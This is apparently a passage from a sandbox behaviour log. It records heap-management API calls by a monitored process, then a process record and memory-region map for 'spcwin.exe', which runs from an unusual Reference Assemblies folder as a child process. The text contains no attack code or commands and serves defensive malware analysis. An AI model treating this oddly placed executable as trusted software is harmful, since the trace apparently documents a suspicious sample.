[0142.041] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bad0) returned 0x18 [0142.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bad0 | out: hHeap=0x330000) returned 1 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] GetProcessHeap () returned 0x330000 [0142.042] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c00) returned 1 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c00) returned 0x20 [0142.042] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c00 | out: hHeap=0x330000) returned 1 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c240) returned 1 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c240) returned 0x14 [0142.042] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c240 | out: hHeap=0x330000) returned 1 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c220) returned 1 [0142.042] GetProcessHeap () returned 0x330000 [0142.042] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c220) returned 0x18 [0142.043] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c220 | out: hHeap=0x330000) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b40) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b40) returned 0x20 [0142.043] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b40 | out: hHeap=0x330000) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c260) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c260) returned 0x16 [0142.043] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c260 | out: hHeap=0x330000) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c1e0) returned 1 [0142.043] GetProcessHeap () returned 0x330000 [0142.043] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c1e0) returned 0x18 [0142.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c1e0 | out: hHeap=0x330000) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b10) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b10) returned 0x20 [0142.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b10 | out: hHeap=0x330000) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba10) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ba10) returned 0x2 [0142.044] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba10 | out: hHeap=0x330000) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345960) returned 1 [0142.044] GetProcessHeap () returned 0x330000 [0142.044] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345960) returned 0x20 [0142.045] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345960 | out: hHeap=0x330000) returned 1 [0142.045] GetProcessHeap () returned 0x330000 [0142.045] GetProcessHeap () returned 0x330000 [0142.045] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345990) returned 1 [0142.045] GetProcessHeap () returned 0x330000 [0142.045] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345990) returned 0x20 [0142.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345990 | out: hHeap=0x330000) returned 1 [0142.046] GetProcessHeap () returned 0x330000 [0142.046] GetProcessHeap () returned 0x330000 [0142.046] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x3459c0) returned 1 [0142.046] GetProcessHeap () returned 0x330000 [0142.046] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3459c0) returned 0x20 [0142.046] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3459c0 | out: hHeap=0x330000) returned 1 [0142.046] GetProcessHeap () returned 0x330000 [0142.046] GetProcessHeap () returned 0x330000 [0142.046] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x3459f0) returned 1 [0142.047] GetProcessHeap () returned 0x330000 [0142.047] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3459f0) returned 0x20 [0142.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3459f0 | out: hHeap=0x330000) returned 1 [0142.047] GetProcessHeap () returned 0x330000 [0142.047] GetProcessHeap () returned 0x330000 [0142.047] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb80) returned 1 [0142.047] GetProcessHeap () returned 0x330000 [0142.047] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cb80) returned 0x20 [0142.047] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb80 | out: hHeap=0x330000) returned 1 [0142.047] GetProcessHeap () returned 0x330000 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d660) returned 1 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d660) returned 0xa [0142.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d660 | out: hHeap=0x330000) returned 1 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cbb0) returned 1 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cbb0) returned 0x20 [0142.048] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cbb0 | out: hHeap=0x330000) returned 1 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x347a80) returned 1 [0142.048] GetProcessHeap () returned 0x330000 [0142.048] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x347a80) returned 0x30 [0142.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x347a80 | out: hHeap=0x330000) returned 1 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cbe0) returned 1 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cbe0) returned 0x20 [0142.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cbe0 | out: hHeap=0x330000) returned 1 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x347ac0) returned 1 [0142.049] GetProcessHeap () returned 0x330000 [0142.049] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x347ac0) returned 0x30 [0142.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x347ac0 | out: hHeap=0x330000) returned 1 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0) returned 1 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdc0) returned 0x20 [0142.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0 | out: hHeap=0x330000) returned 1 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d580) returned 1 [0142.050] GetProcessHeap () returned 0x330000 [0142.050] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d580) returned 0x10 [0142.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d580 | out: hHeap=0x330000) returned 1 [0142.050] GetProcessHeap () returned 0x330000 [0142.051] GetProcessHeap () returned 0x330000 [0142.051] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90) returned 1 [0142.051] GetProcessHeap () returned 0x330000 [0142.051] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd90) returned 0x20 [0142.051] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90 | out: hHeap=0x330000) returned 1 [0142.051] GetProcessHeap () returned 0x330000 [0142.051] GetProcessHeap () returned 0x330000 [0142.051] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5a0) returned 1 [0142.051] GetProcessHeap () returned 0x330000 [0142.051] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d5a0) returned 0x10 [0142.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5a0 | out: hHeap=0x330000) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd60) returned 0x20 [0142.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd60 | out: hHeap=0x330000) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5c0) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d5c0) returned 0xe [0142.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5c0 | out: hHeap=0x330000) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30) returned 1 [0142.052] GetProcessHeap () returned 0x330000 [0142.052] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd30) returned 0x20 [0142.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd30 | out: hHeap=0x330000) returned 1 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5e0) returned 1 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d5e0) returned 0x16 [0142.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5e0 | out: hHeap=0x330000) returned 1 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00) returned 1 [0142.053] GetProcessHeap () returned 0x330000 [0142.053] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd00) returned 0x20 [0142.054] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d600) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d600) returned 0x16 [0142.054] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d600 | out: hHeap=0x330000) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ccd0) returned 0x20 [0142.054] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ccd0 | out: hHeap=0x330000) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x369d10) returned 1 [0142.054] GetProcessHeap () returned 0x330000 [0142.054] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x369d10) returned 0x82 [0142.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x369d10 | out: hHeap=0x330000) returned 1 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0) returned 1 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cca0) returned 0x20 [0142.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cca0 | out: hHeap=0x330000) returned 1 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d640) returned 1 [0142.055] GetProcessHeap () returned 0x330000 [0142.055] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d640) returned 0xe [0142.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d640 | out: hHeap=0x330000) returned 1 [0142.055] GetProcessHeap () returned 0x330000 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70) returned 1 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cc70) returned 0x20 [0142.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cc70 | out: hHeap=0x330000) returned 1 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba30) returned 1 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ba30) returned 0x18 [0142.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba30 | out: hHeap=0x330000) returned 1 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345a20) returned 1 [0142.056] GetProcessHeap () returned 0x330000 [0142.056] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345a20) returned 0x20 [0142.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345a20 | out: hHeap=0x330000) returned 1 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345a50) returned 1 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345a50) returned 0x20 [0142.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345a50 | out: hHeap=0x330000) returned 1 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345a80) returned 1 [0142.057] GetProcessHeap () returned 0x330000 [0142.057] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345a80) returned 0x20 [0142.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345a80 | out: hHeap=0x330000) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ab0) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ab0) returned 0x20 [0142.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ab0 | out: hHeap=0x330000) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba50) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ba50) returned 0x18 [0142.058] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba50 | out: hHeap=0x330000) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] GetProcessHeap () returned 0x330000 [0142.058] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ae0) returned 1 [0142.058] GetProcessHeap () returned 0x330000 [0142.059] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ae0) returned 0x20 [0142.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ae0 | out: hHeap=0x330000) returned 1 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345b70) returned 1 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345b70) returned 0x20 [0142.059] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345b70 | out: hHeap=0x330000) returned 1 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345bd0) returned 1 [0142.059] GetProcessHeap () returned 0x330000 [0142.059] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345bd0) returned 0x20 [0142.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345bd0 | out: hHeap=0x330000) returned 1 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c30) returned 1 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c30) returned 0x20 [0142.060] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c30 | out: hHeap=0x330000) returned 1 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c60) returned 1 [0142.060] GetProcessHeap () returned 0x330000 [0142.060] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c60) returned 0x20 [0142.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c60 | out: hHeap=0x330000) returned 1 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba70) returned 1 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ba70) returned 0x18 [0142.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba70 | out: hHeap=0x330000) returned 1 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345ba0) returned 1 [0142.061] GetProcessHeap () returned 0x330000 [0142.061] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345ba0) returned 0x20 [0142.061] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ba0 | out: hHeap=0x330000) returned 1 [0142.070] GetProcessHeap () returned 0x330000 [0142.071] GetProcessHeap () returned 0x330000 [0142.071] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9f0) returned 1 [0142.071] GetProcessHeap () returned 0x330000 [0142.071] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34b9f0) returned 0x18 [0142.071] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9f0 | out: hHeap=0x330000) returned 1 [0142.071] exit (_Code=0) Thread: id = 149 os_tid = 0xfcc Process: id = "31" image_name = "spcwin.exe" filename = "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe" page_root = "0x41709000" os_pid = "0xfd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3447 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3448 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3449 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3450 start_va = 0x8c0000 end_va = 0x995fff monitored = 1 entry_point = 0x98d67e region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\spcwin.exe") Region: id = 3451 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3452 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3453 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3454 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3455 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3456 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3457 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3830 start_va = 0x1c0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3831 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3832 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3833 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3834 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3835 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3836 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3837 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3838 start_va = 0x300000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3839 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3840 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4466 start_va = 0x4e0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4467 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4468 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4469 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4470 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4471 start_va = 0x4e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4472 start_va = 0x660000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 4473 start_va = 0x4e0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4474 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 4475 start_va = 